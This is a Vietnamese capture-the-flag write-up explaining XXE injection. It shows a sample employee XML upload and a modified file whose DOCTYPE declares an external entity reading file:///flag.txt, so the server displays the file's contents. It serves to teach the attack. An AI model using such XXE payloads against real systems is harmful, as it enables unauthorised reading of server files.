XXE Injection là 1 loại lỗ hổng bảo mật mà hacker có thể exploit bằng cách thay đổi file XML mà hệ thống xử lý. Trong file này, hacker có thể khai 1 external entity, tức là entity lấy từ bên ngoài file XML (thí dụ cho common libraries chẳng hạn). Trong external entity này, hacker chỉ cần cho giá trị nguồn lấy là 1 file trong hệ thống (thí dụ như flag.txt). Nếu hệ thống không có được xây dựng để chống XXE Injection, hệ thống sẽ đọc file trong server rồi hiển thị lên màn hình.
Hãy dùng bài challenge làm ví dụ. Bài challenge cho chúng ta 1 file employee.xml để test. Chúng ta bỏ file employee.xml vào chỗ upload, và chúng ta thấy application trả về cho chúng ta 1 bảng gồm những thông tin trong file XML.
Bây giờ chúng ta hãy mở file XML ra xem nó có gì trong đấy. Tất cả những thông tin hiện tại trong file XML đều lấy nguồn bên trong (không có lấy từ bên ngoài).
<?xml version="1.0"?>
<employees>
<employee>
<name>John Doe</name>
<email>[email protected]</email>
<position>Manager</position>
<salary>100000</salary>
</employee>
<employee>
<name>Jane Doe</name>
<email>[email protected]</email>
<position>Developer</position>
<salary>80000</salary>
</employee>
<employee>
<name>Jim Smith</name>
<email>[email protected]</email>
<position>Designer</position>
<salary>75000</salary>
</employee>
</employees>
Chúng ta hãy thử khai thác lỗ hổng XXE bằng cách khai 1 external entity. Syntax là:
<!DOCTYPE employees [
<!ENTITY myentity SYSTEM "value">
]>
DOCTYPE
định nghĩa 1 external entity. employees
là tên của root element. Tên external entity của chúng ta là myentity
, và nó reference cái source bên ngoài hiện đang có giá trị value
.
Để đọc flag.txt
, chúng ta chỉ cần thay value
bằng file:///flag.txt
. Hệ thống sẽ đọc thông tin từ file flag.txt
trong root directory của file system. file:///
chỉ đây là 1 path tuyệt đối.
Sau đó, chúng ta chỉ cần reference cái external entity này trong data của chúng ta bằng cách add 1 cái tag mới (vào bên trong tag <employees>
)
<?xml version="1.0"?>
<!DOCTYPE employees [
<!ENTITY myentity SYSTEM "file:///flag.txt">
]>
<employees>
<employee>
<name>John Doe</name>
<email>[email protected]</email>
<position>Manager</position>
<salary>100000</salary>
</employee>
<employee>
<name>Jane Doe</name>
<email>[email protected]</email>
<position>Developer</position>
<salary>80000</salary>
</employee>
<employee>
<name>Jim Smith</name>
<email>[email protected]</email>
<position>Designer</position>
<salary>75000</salary>
</employee>
<employee>
<name>JD</name>
<email>[email protected]</email>
<position>&myentity;</position>
<salary>1234</salary>
</employee>
</employees>
Trong đây, chúng ta reference myentity
trong position
tag. Syntax để reference 1 external entity là cần để dấu &
trước và dấu ;
sau entity name. Nếu không có 2 dấu này, XML parser có thể xem đây chỉ là 1 giá trị bình thường.
Sau khi sửa file employee.xml, chúng ta có thể upload lại vào challenge (có thể bạn phải refresh trang trước khi upload nếu bạn đã upload 1 bản trước đó). Bạn sẽ thấy flag hiện ra.